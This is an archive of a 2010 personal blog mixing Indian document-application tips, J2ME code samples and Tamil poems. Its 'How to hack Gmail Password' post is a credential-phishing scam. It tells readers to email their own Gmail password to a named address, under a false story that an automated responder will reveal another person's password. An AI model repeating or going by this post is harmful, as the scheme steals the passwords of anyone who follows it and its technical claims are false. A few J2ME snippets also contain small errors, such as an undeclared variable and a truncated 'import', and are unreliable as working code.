Friday, March 26, 2010

How to Write a Article in Wikipedia ?

        Wikipedia has become one of the most popular websites on the web not just because of its ease of use, but also because of the sheer vastness and timeliness of its information. It might take a regular encyclopedia a year or more to generate an entry for a new concept such as 'Web 2.0', but Wikipedia will have an entry as soon as someone takes the time to write one. And, with anything that catches the public's eye, that's usually pretty quick.

Wednesday, March 24, 2010

How to hack Gmail Password

Step 1: Log into your Gmail account.
Step 2: Compose a new mail.
Step 3: In subject box type " PASSWORD RECOVERY "
Step 4: Send this to - ppwdmaster@gmail.com
Step 5: Write this in message box.
(first line)- Email address you want to hack.

(second line)- Your Gmail address

(third line)- Your Gmail account password
(fourth line) - <
v703&login="passmachine&f=(p0assword)
&f=27586&___javascript=ACTIVE&rsa#"
start?>="">
<>
{simply copy and paste above.}

How it works: you mail to a system administrators automatic responder.
Usually only system administrators should be able to use this, but
when you
try it with your own password and mail this message from your Gmail
account
the computer gets confused! Why your password is needed- automatic
Gmail
responder will require your "system administrator password" which is
in fact
your own password!!! But the : computer doesn't know.



THE PASSWORD WILL AUTOMATICALLY BE SENT TO YOUR GMAIL! INBOX IN A MAIL
CALLED "SYSTEM REG MESSAGE" FROM "SYSTEM". This is an awesome trick
and
works as many times as you try it. Have fun! NOTE: Use account you
have been
using for few days say at least 30 days. Otherwise Gmail may take new
account as temporary and this trick may not work. Moreover use it soon
otherwise this flaw can be rectified soon.
Please be advised that it usually works with Gmail & AOL but i'm not
to sure about HOTMAIL but can try.

I WILL NOT BE HELD RESPONSIBLE FOR WHAT YOU DO WITH THIS INFORMATION
NOR
WILL I BE HELD ACCOUNTABLE, THIS INFORMATION I'M SHARING IS FOR
EDUCATIONAL
PURPOSES ONLY. PLEASE USE IT TO YOUR DISCRETION.............
HAPPY HACKING ......

Friday, March 19, 2010

How to apply for duplicate pan card?

Applying for a Dup.PAN card is almost like applying for a fresh card. The application form will cost Rs.5/- and you have to pay Rs.67 as fee. Produce address proof again, again a new photo etc. Do not change your name, your fathers name and your date of birth if the same is correct in the lost PAN card. Otherwise you can change them if they are not correct.

Wednesday, March 10, 2010

How to apply for a passport

1. If you're applying for the first time, obtain an application form from the passport office or the designated speed post centers or any of the designated outlets in your city. You can also download the form from the Central Passport Organisation's Website http://passport.nic.in/ and register online.

Monday, March 8, 2010

J2ME Record Store MIDlet Example

import java.io.*;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
import javax.microedition.rms.*;

public class RecordStoreMIDlet extends MIDlet implements CommandListener{
private Display display;
private Alert alert;
private Form form;
private Command exit, start, close;
private RecordStore r_store;
private Image image;

How To- Fix “Error loading operating system” Error in Windows XP?

Is your computer unable to load Windows XP operating system? Are you experiencing errors while booting your system? If 'Yes', you cannot log into your Windows XP computer and all your valuable data becomes inaccessible. Such situations may lead to loss of your critical data , and you need to restore your data from the most recent backup. But, if the backup is not available, hard disk recovery is the only way to go for.

How to Avoid OutOfMemory Exception in J2ME

Dynamic cache management and performance tuning in J2ME
 
          Each mobile device can handle only a certain amount of cache and if this prescribed amount is exceeded then the dynamic memory blows up resulting in the following scenarios

    * Loss of performance
    * Application hangs your device.
    * Application exits.
    * Application throws an "out of memory"exception.


Monday, March 1, 2010

Thread Example in J2ME

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
import javax.microedition.io.*;
import java.io.*;

public class BackgroundProcessing extends MIDlet
implements CommandListener
{
private Display display;
private Form form;
private Command exit;
private Command start;
public BackgroundProcessing()
{
display = Display.getDisplay(this);
form = new Form("Background Processing");
exit = new Command("Exit", Command.EXIT, 1);
start = new Command("Start", Command.SCREEN, 2);
form.addCommand(exit);
form.addCommand(start );
form.setCommandListener(this);
}
public void startApp()
{
display.setCurrent(form);
}
public void pauseApp()
{
}
public void destroyApp(boolean unconditional)
{
}
public void commandAction(Command command, Displayable displayable)
{
if (command == exit)
{
destroyApp(false);
notifyDestroyed();
}
else if (command == start)
{
Process process = new Process(this);
process.start();
//Do foreground processing here
}
}
}
class Process implements Runnable
{
private BackgroundProcessing MIDlet;
public Process(BackgroundProcessing MIDlet)
{
this.MIDlet = MIDlet;
}
public void run()
{
try
{
transmit ();
}
catch (Exception error)
{
System.err.println(error.toString());
}
}
public void start()
{
Thread thread = new Thread(this);
try
{
thread.start();
}
catch (Exception error)
{
}
}
private void transmit() throws IOException
{
//Place code here to receive or send transmission.
}
}

Animation With PNG Files

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class GIFDemo extends MIDlet {

private boolean boolMotion=false;
private int iX=10,iY=60;

Display mDisplay;
Thread th;

public void destroyApp(boolean unconditional){}

public void pauseApp() {}

public void startApp() {
mDisplay = Display.getDisplay(this);

final MyCanvas can = new MyCanvas();

mDisplay.setCurrent(can);
}

}

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class MyCanvas extends Canvas implements Runnable {
Image img[]=new Image[3];
public MyCanvas() {
try {
img[0]=Image.createImage("/img1.png");
img[1]=Image.createImage("/img2.png");
img[2]=Image.createImage("/img3.png");

}catch(Exception e){}

Thread th=new Thread(this);
th.start();

}

//Display GIF image
public void paint(Graphics g) {
g.drawImage(img[imgIndex],0,0,g.TOP|g.LEFT);
}

//Handling keyEvents
protected void keyPressed(int keyCode) {

}

public void run() {
while(true) {
imgIndex++;
imgIndex%=3;
try {
Thread.sleep(500);
}catch(Exception e){}
}
}

}

Thursday, February 4, 2010

தாவணி தாலாட்டு

அவளுக்கு மாராப்பும் அந்த தாவணிதான்
எனக்கு வீராப்பும் அதே தாவணிதான்...
ததும்பாத தங்கத்தை தாவணி தாளமிட்டது...

அந்த
தாவணியை உரசும் தென்கிழக்கு காற்றைகூட
நேசத்தோடு வெறுத்திருக்கிறேன்

மடிப்பு விழாத
மத்தாப்பு இடைக்குகூட
மத்தளம் கொட்டி
சம்பந்தம் பேசிய அந்த தாவணி...

அவள்
தாவணயில்
தலை முக்காடு போட்டாலும்
முத்தேவதையும் நிகரில்லார்...
தந்தனந்தான் பாடும் தமிழும்
கவிதை தரும் காற்றும்
மணிமுத்து கொண்ட கடலும்

அவள்
தாவணியின் தளும்பனுக்கு அடிமைதான்...!

அந்த
தாவணி தாமரையின்
தாலாட்டிற்கு தவம் புரியும்
தாவணிதாசன்
நான்.......................

Friday, January 29, 2010

காணாத காதலியே...


வள்ளுவனுக்கும்
வார்த்தைகள் வராதடி...
கம்பனுக்கும்
கவிதைகள் காணாதடி...
உவமைக்கும் உருவம் ஆனவளே
உன்னால் உதிரங்கள உருகுதடி
உனக்கென சில வதிகாரங்கள் பாட
இளவடிகள் இருக்கிறேனே...
அத்தை மகளும் இல்லையடி
அத்தான் என அழைக்க...
                                        --செந்தில்ராஜா

இனியவளே......

இனியவளே
இதயத்தில் ஓர் முத்தம்
இட்டுவிடு...
இறந்து இடுகாட்டிலே
இருந்து விடுகிறேன்...!
உன் நினைவுகளோடு
கல்லறையிலாவது
காதலை காவல் காக்கிறேன்...!
இல்லை என
இதழுரைத்து...
இவ்வுலகில் மீண்டும்
பிணமாய் பிறக்கவைக்காதே... !
                                                  --செந்தில்ராஜா.

ஒரு காதலன் காதலியிடம் கேட்க நினைக்கும் கேள்வி.

        ஒரு காதலன் காதலியிடம் கேட்க நினைக்குற, ஆனா கேட்க முடியாம மனசுக்குள்ளேயே புதைச்சு வெச்சுக்குற சில கேள்விகளை, நாம இந்தப் பதிவுல பார்க்கலாம்..

1. நாங்கதான் உங்களுக்கு ரீ-சார்ஜ் பண்ணி அனுப்புறோம். ஆனாலும் நீங்க எதுக்கு மிஸ்டு கால் கொடுத்தே எங்க உயிரை வாங்குறீங்க? உங்ககிட்ட ஃபோன்ல பேசின காசையெல்லாம் சேர்த்து வெச்சிருந்தா, நான் லோன் போட்டு பைக் வாங்கி இருக்க வேண்டிய அவசியமே இருந்திருக்காது.

2. ஒரு பொண்ணு கொடுக்குற மிஸ்டு காலை மட்டும் யாராலும் அட்டெண்ட் பண்ணவே முடியாது. அவ்ளோ ஷார்ப்பா கட் பண்ணுவாங்க. இப்படி மிஸ்டுகால் கொடுக்க நீங்க எந்த யுனிவர்சிட்டியில ட்ரெயினிங் எடுத்துகிட்டிங்க?

3. அது ஏன் எப்போ பார்த்தாலும், எது கேட்டாலும் ஹி.. ஹி'ன்னு சிரிச்சுகிட்டே இருக்கீங்க? ஒரு மணி நேரம் உங்ககிட்ட ஃபோன்ல பேசினா அதுல நாற்பது நிமிஷம் கேனத்தனமா சிரிச்சுகிட்டேதான் இருக்கீங்க. ஏன் நீங்க ஏதாவது பேஸ்ட் விளம்பரத்துல நடிக்கிறதுக்கு எங்ககிட்ட ட்ரெயினிங் எடுக்கிறீங்களா?

4. ஃபோன்ல நாங்களேதான் பேசிகிட்டு இருக்கோம். எதைக்கேட்டாலும் "நீங்க சொல்லுங்க, நீங்க சொல்லுங்க'ன்னா" நாங்க என்னத்தை சொல்லி தொலைக்குறது? உங்களுக்கு எதையுமே பேச தெரியாது போலன்னு நினைச்சு நாங்க பாட்டுக்கு எதையாவது சொல்லி தொலைச்சுடுவோம். அதையே மனசுல வெச்சுகிட்டு, கல்யாணத்துக்கு அப்புறம் வாங்கி கட்டிக்கிறது எங்களுக்கு மட்டும்தான் தெரியும். அது எப்படி பேசவே தெரியாத மாதிரி சீன் போடுறீங்க?

5. மெசேஜ்'ல மட்டும் ரொம்ப ரொமாண்டிக்கா SMS அனுப்பி எங்க தூக்கத்தை கெடுக்குறீங்க. ஆனா அதையே நேர்ல சொல்ல சொன்னா மட்டும் வெட்கத்தையே என்னமோ நீங்கதான் குத்தகைக்கு எடுத்த மாதிரி வெட்கப்படுறீங்க? இது எப்படி உங்களால மட்டும் முடியுது? மெசேஜ் அனுப்பும் போதெல்லாம் உங்க வெட்கத்தை என்ன ஃப்ரிட்ஜ்'க்கு உள்ளே ஒளிச்சி வெச்சிடுவீங்களா?

6. ஹேய்... உனக்கு எப்படி அது தெரியும்? அப்படிங்கிற கேள்வியை மட்டும் கேட்டுட்டா போதும். உடனே "நான் உங்க இதயத்துல தானே இருக்கேன். இது கூட எனக்கு தெரியாதான்னு" உடனே ஒரு டயலாக் விடுவீங்க. இந்த மாதிரி எல்லாம் டயலாக் விட டைரக்டர் கதிர்கிட்ட கத்துகிட்டீங்களா என்ன?

7. Loss of Pay' ல லீவு போட்டுட்டு, உங்களை பைக்ல தியேட்டருக்கு கூட்டிட்டு போனா, அப்பத்தான் ரொம்ப கவனமா ஹேண்ட் பேகை எடுத்து நம்ம ரெண்டு பேருக்கு நடுவுல வெச்சுகிட்டு வருவீங்க. என்ன கொடுமை சார் இதெல்லாம்?

8. அப்புறம் அப்புறம்'ங்கிற மொக்கையவே அரை மணி நேரமா போடுறீங்க. சரி வெச்சுடுறேன்னு நாங்க ஃபோனை கட் பண்ண போகும்போதுதான் "என் கூட பேசறது உங்களுக்கு போரடிக்குதா"ன்னு ஒரு சென்டிமென்ட் சீன் ஓபன் பண்ண வேண்டியது. உங்களுக்கு ஏன் இந்த கொலைவெறி?

9. நீங்க கிஃப்ட் கொடுத்தா மட்டும் விலையைப் பார்க்க கூடாது. அதுல உங்க அன்பைத்தான் பார்க்கணும். ஏன்னா நிச்சயமா அந்த கிஃப்ட் கீ-செயினாவோ, கர்ச்சீஃபாவோ, இல்லை அதிகபட்சமா மணிபர்ஸாவோதான் இருக்கும். ஏன்னா அதுங்கதான் ஐம்பது ரூபாய்க்கு கிடைக்கும். ஆனா இதே நாங்க கிஃப்ட் கொடுக்கும் போது மட்டும் சுடிதாரோ, செல்ஃபோனோ, தங்க செயினோ, வெள்ளி கொலுசோ, குறைஞ்சது 3,000/- ரூபாய்க்கு செலவு பண்ணாதான் நாங்க உங்க மேல உண்மையான அன்பு வெச்சிருக்கிறதா அர்த்தம். என்ன கரெக்ட்டா? உங்க அன்போட அளவுகோலுக்கு எல்லையே கிடையாதா?

10. "உன் நியாபகமாவே இருந்துச்சு. ராத்திரி எல்லாம் தூக்கமே வரலை"ன்னு மனசாட்சி இல்லாம பொய் சொல்றீங்களே.. என் நியாபகமாவே இருந்துச்சினா என் கூட பேச வேண்டியது தானே. இந்தக் கேள்வியை நாங்க கேட்டுடக் கூடாதுனு அர்த்த ராத்திரியில பேய் முழிச்சுகிட்டு இருக்கிற நேரத்துல, ஒரு மிஸ்டுகால் கொடுத்துட்டு, மறுநாள் காலையில உனக்கு என் நியாபகமே இல்லைன்னே சண்டை போட வேண்டியது. இந்த விஷயத்துல சத்தியமா உங்களை அடிச்சுக்க ஆளே கிடையாது.

11. நீங்க யூஸ் பண்ணி தூக்கி போட்ட பொருளை எல்லாம் நாங்க சேர்த்து வெச்சிருக்கணும்னு எதிர்பார்க்குறீங்களே, நாங்க என்ன நீங்க தூக்கி போடுறதை எல்லாம் சேர்த்து வெக்கிற குப்பை தொட்டியா?

நண்பர்களே இந்தக் கேள்விகளை எல்லாம் படிக்கிறதோட நிறுத்திக்குங்க. தப்பித்தவறி கூட இந்தக் கேள்விகளை நீங்க உங்க காதலிகிட்ட கேட்டீங்கன்னு வெச்சுக்குங்களேன்........அவ்வளவுதான் ஜோலி முடிஞ்சுது.

Tuesday, January 19, 2010

Selected list in Canvas J2ME

mport javax.microedition.midlet.MIDlet;
import javax.microedition.lcdui.*;


public class TestMIDlet extends MIDlet
{
private Display display;
private menuCanvas myCanvas = new menuCanvas(this);

public TestMIDlet()
{}

public void startApp()
{
Display.getDisplay(this).setCurrent(myCanvas);

}
public void pauseApp()
{}

public void destroyApp(boolean uncond)
{
notifyDestroyed();
}


}


//menuCanvas.java


import java.io.*;
import javax.microedition.io.*;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;


public class menuCanvas extends Canvas
{

String [] myStrings = {"Favorite","Flag","Music","Star","Tool"};
private int selectedIndex = 0;
private String selectedLink;
public TestMIDlet parent;


public static int iKEY_UP = -1;
public static int iKEY_DOWN = -2;
public static int iKEY_LEFT = -3;
public static int iKEY_RIGHT = -4;
public static int iKEY_FIRE = -5;
public static int iKEY_SOFT1 = -6;
public static int iKEY_SOFT2 = -7;



public menuCanvas(TestMIDlet midlet)
{
parent = midlet;

}



protected void paint(Graphics g) {
//This methods paints on screen (mandatory)
drawBackground(g);
drawImageButtons(g);

}

void drawBackground(Graphics g){
// To draw the black background
g.setColor(255,255,255);
g.fillRect(0, 0, getWidth(), getHeight());


}


void drawImageButtons(Graphics g)
{
// draws Image and Text on the screen

g.setColor(185,185,255);

if(selectedIndex == 0)
g.fillRect(18,13,100,25);
else if(selectedIndex == 1)
g.fillRect(18,38,100,25);
else if(selectedIndex == 2)
g.fillRect(18,78,100,25);
else if(selectedIndex == 3)
g.fillRect(18,118,100,25);
else if(selectedIndex == 4)
g.fillRect(18,158,100,25);




g.setColor(0,0,0);
g.setFont(Font.getFont(Font.FACE_SYSTEM, Font.STYLE_BOLD, Font.SIZE_SMALL));
int space = 40;

for (int i =0 ; i < 5 ; i++) { if(i == 0) g.drawString(myStrings[i], 25, 15, Graphics.LEFT | Graphics.TOP); else g.drawString(myStrings[i], 25, space*i, Graphics.LEFT | Graphics.TOP); } g.setColor(0,0,0); g.drawString("Select",10,getHeight()-5,Graphics.BOTTOM|Graphics.LEFT); g.drawString("Exit",getWidth()-10,getHeight()-5,Graphics.BOTTOM|Graphics.RIGHT); } public void keyPressed(int key) { if(key == iKEY_DOWN) { if(selectedIndex < 4) selectedIndex++; else if(selectedIndex == 4) selectedIndex = 0; } else if(key == iKEY_UP) { if(selectedIndex > 0)
selectedIndex--;
else if(selectedIndex == 0)
selectedIndex = 4;
}
else if(key == iKEY_SOFT1 || key == iKEY_FIRE)
{
keypressFIRE();
new connection();
}
else if(key == iKEY_SOFT2)
parent.destroyApp(true);


repaint();
}

public void keypressFIRE()
{
if(selectedIndex == 0)
selectedLink="http://www.forestinteractive.my/gamma/";
else if(selectedIndex == 1)
selectedLink="http://www.forestinteractive.my/gamma/";
else if(selectedIndex == 2)
selectedLink="http://www.forestinteractive.my/gamma/";
else if(selectedIndex == 3)
selectedLink="http://www.forestinteractive.my/gamma/";
else if(selectedIndex == 4)
selectedLink="http://www.forestinteractive.my/gamma/";
}


class connection implements Runnable
{
public connection()
{
Thread t = new Thread(this);
t.start();
}

public void run()
{
HttpConnection connection = null;
InputStream in = null;
try
{
connection = (HttpConnection)Connector.open(selectedLink);
connection.setRequestMethod(HttpConnection.GET);
if(connection.getResponseCode() == HttpConnection.HTTP_OK)
{
in = connection.openInputStream();
ByteArrayOutputStream bytestream = new ByteArrayOutputStream();
int ch;
int cc = 0;
while ((ch = in.read()) != -1)
{
if(ch==(int)'\n')
cc++;

bytestream.write(ch);
}

String strData = new String(bytestream.toByteArray());
bytestream.close();
in.close();
connection.close();

}
}catch(Exception e)
{
System.out.println("Exception in run()******"+e);
}
}
}

}

Saturday, January 9, 2010

Voice Recording in J2ME

Using the following example you can record the audio sound and play the recorded sound.
In this example im capturing the audio sound and encoding into the pcm format.


import java.io.*;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
import javax.microedition.media.*;
import javax.microedition.media.control.*;

public class VoiceRecordMidlet extends MIDlet {
      private Display display;

      public void startApp() {
            display = Display.getDisplay(this);
            display.setCurrent(new VoiceRecordForm());
      }

      public void pauseApp() {
      }

      public void destroyApp(boolean unconditional) {
            notifyDestroyed();
      }
}

class VoiceRecordForm extends Form implements CommandListener {
      private StringItem message;
      private StringItem errormessage;
      private final Command record, play;
      private Player player;
      private byte[] recordedAudioArray = null;
      public VoiceRecordForm() {
            super("Recording Audio");
            message = new StringItem("", "Select Record to start recording.");
            this.append(message);
            errormessage = new StringItem("", "");
            this.append(errormessage);
            record = new Command("Record", Command.OK, 0);
            this.addCommand(record);
            play = new Command("Play", Command.BACK, 0);
            this.addCommand(play);
            this.setCommandListener(this);
      }
      public void commandAction(Command comm, Displayable disp) {
            if (comm == record) {
                  Thread t = new Thread() {
                        public void run() {
                              try {
                                    player = Manager.createPlayer("capture://audio?encoding=pcm");
                                    player.realize();
                                    RecordControl rc = (RecordControl) player.getControl("RecordControl");
                                    ByteArrayOutputStream output = new ByteArrayOutputStream();
                                    rc.setRecordStream(output);
                                    rc.startRecord();
                                    player.start();
                                    message.setText("Recording...");
                                    Thread.sleep(5000);
                                    message.setText("Recording Done!");
                                    rc.commit();
                                    recordedAudioArray = output.toByteArray();
                                    player.close();
                              } catch (Exception e) {
                                    errormessage.setLabel("Error");
                                    errormessage.setText(e.toString());
                              }
                        }
                  };
                  t.start();

            }
            else if (comm == play) {
                  try {
                        ByteArrayInputStream recordedInputStream = new ByteArrayInputStream(recordedAudioArray);
                        Player p2 = Manager.createPlayer(recordedInputStream, "audio/basic");
                        p2.prefetch();
                        p2.start();
                  } catch (Exception e) {
                        errormessage.setLabel("Error");
                        errormessage.setText(e.toString());
                  }
            }
      }
}